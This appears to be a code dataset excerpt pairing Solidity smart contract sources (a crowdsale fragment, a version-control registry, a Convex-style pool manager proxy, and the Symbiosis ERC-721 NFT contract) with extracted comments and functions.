1666; } } function buyTokensUpdateState() internal { var temp = state; if(temp == State.BeforeSale && now >= startTime) { temp = State.preSale; } if(temp == State.preSale && now >= presaleEndtime) { temp = State.NormalSale; } if((temp == State.preSale || temp == State.BeforeSale) && tokensLeft <= 250000000*toDec) { temp = State.NormalSale; } calculateCurrentRate(temp); require(temp != State.ShouldFinalize && temp != State.Lockup && temp != State.SaleOver); if(msg.value.mul(rate) >= tokensLeft) { temp = State.ShouldFinalize; } state = temp; } function buyTokens(address beneficiary) public payable { buyTokensUpdateState(); var numTokens = msg.value.mul(rate); if(state == State.ShouldFinalize) { lastTokens(beneficiary); numTokens = tokensLeft; } else { super.buyTokens(beneficiary); } tokensLeft = tokensLeft.sub(numTokens); } function lastTokens(address beneficiary) internal { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokensForFullBuy = weiAmount.mul(rate);// must be bigger or equal to tokensLeft to get here uint256 tokensToReKimeraFor = tokensForFullBuy.sub(tokensLeft); uint256 tokensRemaining = tokensForFullBuy.sub(tokensToReKimeraFor); uint256 weiAmountToReKimera = tokensToReKimeraFor.div(rate); uint256 weiRemaining = weiAmount.sub(weiAmountToReKimera); // update state weiRaised = weiRaised.add(weiRemaining); token.mint(beneficiary, tokensRemaining); TokenPurchase(msg.sender, beneficiary, weiRemaining, tokensRemaining); forwardFundsAmount(weiRemaining); refundAmount(weiAmountToReKimera); } function withdrawLockupTokens() canWithdrawLockup public { token.mint(wallets[2], teamSum); token.finishMinting(); LockupTokensWithdrawn = true; LockedUpTokensWithdrawn(); state = State.SaleOver; } function finalizeUpdateState() internal { if(now > endTime) { state = State.ShouldFinalize; } if(tokensLeft == 0) { state = State.ShouldFinalize; } } function finalize() public { finalizeUpdateState(); require (state == State.ShouldFinalize); finalization(); Finalized(); } function finalization() internal { endTime = block.timestamp; // update to start lockup token.mint(wallets[6], tokensLeft); // mint unsold tokens state = State.Lockup; } }
calculate token amount to be created update state
function lastTokens(address beneficiary) internal { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokensToReKimeraFor = tokensForFullBuy.sub(tokensLeft); uint256 tokensRemaining = tokensForFullBuy.sub(tokensToReKimeraFor); uint256 weiAmountToReKimera = tokensToReKimeraFor.div(rate); uint256 weiRemaining = weiAmount.sub(weiAmountToReKimera); weiRaised = weiRaised.add(weiRemaining); token.mint(beneficiary, tokensRemaining); TokenPurchase(msg.sender, beneficiary, weiRemaining, tokensRemaining); forwardFundsAmount(weiRemaining); refundAmount(weiAmountToReKimera); }
545,860
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.4; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol"; import "../interface/IUpgradeableProxy.sol"; import "../interface/IVersionControl.sol"; import "../libraries/SafeMathExt.sol"; contract VersionControl is OwnableUpgradeable, IVersionControl { using Utils for EnumerableSetUpgradeable.Bytes32Set; using SafeMathExt for uint256; using AddressUpgradeable for address; using SafeMathUpgradeable for uint256; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set; struct VersionDescription { address liquidityPoolTemplate; address governorTemplate; uint256 compatibility; } EnumerableSetUpgradeable.Bytes32Set internal _versionKeys; mapping(bytes32 => VersionDescription) internal _versionDescriptions; mapping(bytes32 => bytes32) internal _deployedVersions; event AddVersion( bytes32 versionKey, address indexed liquidityPoolTemplate, address indexed governorTemplate, address indexed creator, uint256 compatibility, string note ); /** * @notice Owner of version control. */ function owner() public view virtual override(IVersionControl, OwnableUpgradeable) returns (address) { return OwnableUpgradeable.owner(); } /** * @notice Create a new version with template of liquidity pool and governor. * * @param liquidityPoolTemplate The address of the liquidityPool implementation. * @param governorTemplate The address of the governor implementation. * @param compatibility The compatibility of the implementation * @param note The note of the version, only in log. * @return versionKey The key of the version added. */ function addVersion( address liquidityPoolTemplate, address governorTemplate, uint256 compatibility, string calldata note ) external onlyOwner returns (bytes32 versionKey) { require(liquidityPoolTemplate.isContract(), "implementation must be contract"); require(governorTemplate.isContract(), "implementation must be contract"); versionKey = _getVersionHash(liquidityPoolTemplate, governorTemplate); require(!isVersionKeyValid(versionKey), "implementation already exists"); _versionDescriptions[versionKey] = VersionDescription({ liquidityPoolTemplate: liquidityPoolTemplate, governorTemplate: governorTemplate, compatibility: compatibility }); _versionKeys.add(versionKey); emit AddVersion( versionKey, liquidityPoolTemplate, governorTemplate, msg.sender, compatibility, note ); } /** * @notice Get the latest created key of template. Revert if there is no key yet. * * @return latestVersionKey The key of the latest template of liquidity pool and governor. */ function getLatestVersion() public view override returns (bytes32 latestVersionKey) { require(_versionKeys.length() > 0, "no version"); latestVersionKey = _versionKeys.at(_versionKeys.length() - 1); } /** * @notice Get the details of the version. * * @param versionKey The key of the version to get. * @return liquidityPoolTemplate The address of the liquidity pool template. * @return governorTemplate The address of the governor template. * @return compatibility The compatibility of the specified version. */ function getVersion(bytes32 versionKey) public view override returns ( address liquidityPoolTemplate, address governorTemplate, uint256 compatibility ) { require(isVersionKeyValid(versionKey), "implementation is invalid"); VersionDescription storage version = _versionDescriptions[versionKey]; liquidityPoolTemplate = version.liquidityPoolTemplate; governorTemplate = version.governorTemplate; compatibility = version.compatibility; } /** * @notice Get the description of the implementation of liquidity pool. * Description contains creator, create time, compatibility and note * * @param liquidityPool The address of the liquidity pool. * @param governor The address of the governor. * @return appliedVersionKey The version key of given liquidity pool and governor. */ function getAppliedVersionKey(address liquidityPool, address governor) external view override returns (bytes32 appliedVersionKey) { bytes32 deployedAddressHash = _getVersionHash(liquidityPool, governor); appliedVersionKey = _deployedVersions[deployedAddressHash]; } /** * @notice Check if a key is valid (exists). * * @param versionKey The key of the version to test. * @return isValid Return true if the version of given key is valid. */ function isVersionKeyValid(bytes32 versionKey) public view override returns (bool isValid) { isValid = _versionKeys.contains(versionKey); } /** * @notice Check if the implementation of liquidity pool target is compatible with the implementation base. * Being compatible means having larger compatibility. * * @param targetVersionKey The key of the version to be upgraded to. * @param baseVersionKey The key of the version to be upgraded from. * @return isCompatible True if the target version is compatible with the base version. */ function isVersionCompatible(bytes32 targetVersionKey, bytes32 baseVersionKey) public view override returns (bool isCompatible) { require(isVersionKeyValid(targetVersionKey), "target version is invalid"); require(isVersionKeyValid(baseVersionKey), "base version is invalid"); isCompatible = _versionDescriptions[targetVersionKey].compatibility >= _versionDescriptions[baseVersionKey].compatibility; } /** * @dev Get a certain number of implementations of liquidity pool within range [begin, end). * * @param begin The index of first element to retrieve. * @param end The end index of element, exclusive. * @return versionKeys An array contains current version keys. */ function listAvailableVersions(uint256 begin, uint256 end) external view override returns (bytes32[] memory versionKeys) { versionKeys = _versionKeys.toArray(begin, end); } function _getVersionHash(address liquidityPoolTemplate, address governorTemplate) internal pure returns (bytes32) { return keccak256(abi.encodePacked(liquidityPoolTemplate, governorTemplate)); } function _updateDeployedInstances( bytes32 versionKeys, address liquidityPool, address governor ) internal { bytes32 deployedAddressHash = _getVersionHash(liquidityPool, governor); _deployedVersions[deployedAddressHash] = versionKeys; } function _validateUpgradeVersion( bytes32 targetVersionKey, address liquidityPool, address governor ) internal view { bytes32 deployedAddressHash = _getVersionHash(liquidityPool, governor); bytes32 baseVersionKey = _deployedVersions[deployedAddressHash]; require( isVersionCompatible(targetVersionKey, baseVersionKey), "the target version is not compatible" ); } }
Check if a key is valid (exists). versionKey The key of the version to test. return isValid Return true if the version of given key is valid./
function isVersionKeyValid(bytes32 versionKey) public view override returns (bool isValid) { isValid = _versionKeys.contains(versionKey); }
15,793,007
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./Interfaces.sol"; import "./interfaces/IGaugeController.sol"; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; /* Immutable pool manager proxy to enforce that when a pool is shutdown, the proper number of lp tokens are returned to the booster contract for withdrawal */ contract PoolManagerSecondaryProxy{ using SafeMath for uint256; address public constant gaugeController = address(0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB); address public constant pools = address(0x5F47010F230cE1568BeA53a06eBAF528D05c5c1B); address public constant booster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31); address public owner; address public operator; bool public isShutdown; mapping(address => bool) public usedMap; constructor() public { //default to multisig owner = address(0xa3C5A1e09150B75ff251c1a7815A07182c3de2FB); operator = msg.sender; } modifier onlyOwner() { require(owner == msg.sender, "!owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "!op"); _; } //set owner - only OWNER function setOwner(address _owner) external onlyOwner{ owner = _owner; } //set operator - only OWNER function setOperator(address _operator) external onlyOwner{ operator = _operator; } //manual set an address to used state function setUsedAddress(address[] memory usedList) external onlyOwner{ for(uint i=0; i < usedList.length; i++){ usedMap[usedList[i]] = true; } } //shutdown pool management and disallow new pools. change is immutable function shutdownSystem() external onlyOwner{ isShutdown = true; } //shutdown a pool - only OPERATOR function shutdownPool(uint256 _pid) external onlyOperator returns(bool){ //get pool info (address lptoken, address depositToken,,,,bool isshutdown) = IPools(booster).poolInfo(_pid); require(!isshutdown, "already shutdown"); //shutdown pool and get before and after amounts uint256 beforeBalance = IERC20(lptoken).balanceOf(booster); IPools(pools).shutdownPool(_pid); uint256 afterBalance = IERC20(lptoken).balanceOf(booster); //check that proper amount of tokens were withdrawn(will also fail if already shutdown) require( afterBalance.sub(beforeBalance) >= IERC20(depositToken).totalSupply(), "supply mismatch"); return true; } //add a new pool if it has weight on the gauge controller - only OPERATOR function addPool(address _lptoken, address _gauge, uint256 _stashVersion) external onlyOperator returns(bool){ //check that the pool as weight uint256 weight = IGaugeController(gaugeController).get_gauge_weight(_gauge); require(weight > 0, "must have weight"); return _addPool(_lptoken, _gauge, _stashVersion); } //force add a new pool, but only for addresses that have never been used before - only OPERATOR function forceAddPool(address _lptoken, address _gauge, uint256 _stashVersion) external onlyOperator returns(bool){ require(!usedMap[_lptoken] && !usedMap[_gauge], "cant force used pool"); return _addPool(_lptoken, _gauge, _stashVersion); } //internal add pool and updated used list function _addPool(address _lptoken, address _gauge, uint256 _stashVersion) internal returns(bool){ require(!isShutdown, "shutdown"); usedMap[_lptoken] = true; usedMap[_gauge] = true; return IPools(pools).addPool(_lptoken,_gauge,_stashVersion); } }
shutdown pool management and disallow new pools. change is immutable
function shutdownSystem() external onlyOwner{ isShutdown = true; }
1,040,785
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * * S Y M B I O S I S * * _________________ by Lucien Loiseau (MetaPixel.art) * * This file contains the source code for the ERC-721 smart contract driving * the NFT logic for the project "Symbiosis" (https://symbiosis.metapixel.art). * */ contract Symbiosis is Context, Ownable, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; using Counters for Counters.Counter; string private _name = "Symbiosis"; string private _symbol = "SYMBIOS"; // max supply and price uint256 public constant MAX_TOKENS_PER_PURCHASE = 20; uint256 public constant TOKEN_LIMIT = 2048; uint256 private tokenPrice = 250 * 1000000000000000 wei; // artist uint256 public ARTIST_PRINTS = 128; address payable public constant ARTIST_WALLET = payable(0xde00d5483e685c67E83c0C639322150B0365fFfa); // Total amount of tokens Counters.Counter private _totalMinted; // reference to the generator on IPFS string public generatorIpfsHash = ""; string public playerJsIpfsHash = ""; string public webPlayerIpfsHash = ""; bool public isLocked = false; // ----- Symbiosis NFT's history ----- struct Ownership { address account; uint256 timestamp; } // Mapping token ID to owner's history mapping(uint256 => Ownership[]) private _owners; string public baseURI = "https://assets.symbiosis.metapixel.art/metadata/"; // ----- IERC 721 ENUMERABLE ----- // Mapping address to list of owned tokens mapping(address => uint256[]) private _tokensOf; // Mapping tokenId to index in owner's set mapping(uint256 => uint256) internal _idToOwnerIndex; // ----- IERC 721 APPROVALS ----- // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor() {} /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function totalSupply() public view override returns (uint256) { return _totalMinted.current(); } function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _totalMinted.current(); } /** * @dev returns all the token owned by an owner */ function tokensOf(address owner) external view returns (uint256[] memory) { return _tokensOf[owner]; } function tokenOfOwnerByIndex(address owner, uint256 index) external view override returns (uint256) { require(index < balanceOf(owner), "Symbiosis: index out of range"); return _tokensOf[owner][index]; } function tokenByIndex(uint256 index) external pure override returns (uint256) { return index; } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "Symbiosis: balance query for the zero address" ); return _tokensOf[owner].length; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { require( tokenId < TOKEN_LIMIT, "Symbiosis: owner query for nonexistent token" ); require( _exists(tokenId), "Symbiosis: owner query for unminted token" ); uint256 length = _owners[tokenId].length; return _owners[tokenId][length - 1].account; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "Symbiosis: URI query for nonexistent token" ); return string(abi.encodePacked(baseURI, tokenId.toString())); } /** * @dev ownership history */ function tokenHistory(uint256 tokenId) public view returns (Ownership[] memory) { require( _exists(tokenId), "Symbiosis: unminted token has no history" ); return _owners[tokenId]; } /** * @dev seed generates token history as a compact hexadecimal string */ function tokenArtSeed(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Symbiosis: unminted token has no seed"); uint256 nbOfOwner = _owners[tokenId].length; bytes memory _output = new bytes((2 + (20 + 5) * nbOfOwner + 5) * 2); uint256 _offst = 0; uintToHexString(_output, _offst, tokenId, 2); _offst += 4; uint256 i; for (i = 0; i < nbOfOwner; i++) { uintToHexString( _output, _offst, uint160(_owners[tokenId][i].account), 20 ); _offst += 40; uintToHexString(_output, _offst, _owners[tokenId][i].timestamp, 5); _offst += 10; } uintToHexString(_output, _offst, block.timestamp, 5); _offst += 10; return string(_output); } function uintToHexString( bytes memory _output, uint256 _offst, uint256 a, uint256 precision ) internal pure { uint256 value = a; uint256 i; for (i = (_offst + (precision * 2)); i > _offst; i--) { uint8 _f = uint8(value & 0x0f); uint8 _l = uint8((value & 0xf0) >> 4); _output[i - 1] = _f > 9 ? bytes1(87 + _f) : bytes1(48 + _f); i = i - 1; _output[i - 1] = _l > 9 ? bytes1(87 + _l) : bytes1(48 + _l); value = value >> 8; } } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = Symbiosis.ownerOf(tokenId); require(to != owner, "Symbiosis: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "Symbiosis: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "Symbiosis: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "Symbiosis: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require( _exists(tokenId), "Symbiosis: operator query for nonexistent token" ); address owner = Symbiosis.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function artistMint(uint256 quantity, address to) external onlyOwner { require( ARTIST_PRINTS >= quantity, "Symbiosis: not enough artist prints" ); require( (_totalMinted.current() + quantity) <= TOKEN_LIMIT, "Symbiosis: not enough token left to mint" ); ARTIST_PRINTS -= quantity; for (uint256 i = 0; i < quantity; i++) { _createNft(to); } } function mint(uint256 _count) external payable { require( (_totalMinted.current() + _count) <= TOKEN_LIMIT, "Symbiosis: exceed maximum token limit" ); require( _count > 0 && _count < MAX_TOKENS_PER_PURCHASE + 1, "Symbiosis: exceeds maximum purchase in a single transaction" ); uint256 mintPrice = tokenPrice * _count; require( msg.value >= mintPrice, "Symbiosis: not enough Ether to mint the art" ); // mint tokens uint256 tokenId; for (uint256 i = 0; i < _count; i++) { tokenId = _createNft(_msgSender()); } // send the change back if any uint256 change = (msg.value - mintPrice); if (change > 0) { (bool changeSent, ) = _msgSender().call{value: change}(""); require(changeSent, "Failed to send change to buyer"); } // pay the artist (bool paymentSent, ) = ARTIST_WALLET.call{value: mintPrice}(""); require(paymentSent, "Failed to send Ether to artist wallet"); require( _checkOnERC721Received(address(0), _msgSender(), tokenId, ""), "Symbiosis: transfer to non ERC721Receiver implementer" ); } function _createNft(address to) private returns (uint256) { uint256 newTokenId = _totalMinted.current(); // update erc721 enumerables _tokensOf[to].push(newTokenId); _idToOwnerIndex[newTokenId] = _tokensOf[to].length - 1; // updte nft art history _owners[newTokenId].push( Ownership({account: to, timestamp: block.timestamp}) ); // update minted token count _totalMinted.increment(); emit Transfer(address(0), to, newTokenId); return newTokenId; } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "Symbiosis: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "Symbiosis: transfer to non ERC721Receiver implementer" ); } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "Symbiosis: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal { require( Symbiosis.ownerOf(tokenId) == from, "Symbiosis: transfer from of token that is not own" ); require( to != address(0), "Symbiosis: transfer to the zero address" ); require(to != from, "Symbiosis: transfer to the same address"); // Clear approvals from the previous owner _approve(address(0), tokenId); // transfer token _removeNFTokenFromOwner(from, tokenId); _addNFTokenToOwner(to, tokenId); // update token history _owners[tokenId].push( Ownership({account: to, timestamp: block.timestamp}) ); emit Transfer(from, to, tokenId); } function _removeNFTokenFromOwner(address from, uint256 tokenId) internal { uint256 tokenToRemoveIndex = _idToOwnerIndex[tokenId]; uint256 lastTokenIndex = _tokensOf[from].length - 1; if (tokenToRemoveIndex != lastTokenIndex) { uint256 lastTokenId = _tokensOf[from][lastTokenIndex]; _tokensOf[from][tokenToRemoveIndex] = lastTokenId; _idToOwnerIndex[lastTokenId] = tokenToRemoveIndex; } delete _idToOwnerIndex[tokenId]; _tokensOf[from].pop(); } function _addNFTokenToOwner(address to, uint256 tokenId) internal { _tokensOf[to].push(tokenId); _idToOwnerIndex[tokenId] = _tokensOf[to].length - 1; } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal { _tokenApprovals[tokenId] = to; emit Approval(Symbiosis.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "Symbiosis: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setPrice(uint256 _newPrice) public onlyOwner { tokenPrice = _newPrice; } function getPrice() public view returns (uint256) { return tokenPrice; } function setGeneratorIpfsHash(string memory ipfsHash) public onlyOwner { require(!isLocked, "contract locked, cannot be set"); generatorIpfsHash = ipfsHash; } function setPlayerJsIpfsHash(string memory ipfsHash) public onlyOwner { require(!isLocked, "contract locked, cannot be set"); playerJsIpfsHash = ipfsHash; } function setWebPlayerIpfsHash(string memory ipfsHash) public onlyOwner { require(!isLocked, "contract locked, cannot be set"); webPlayerIpfsHash = ipfsHash; } function lock() public onlyOwner { require(!isLocked, "contract already locked"); isLocked = true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } 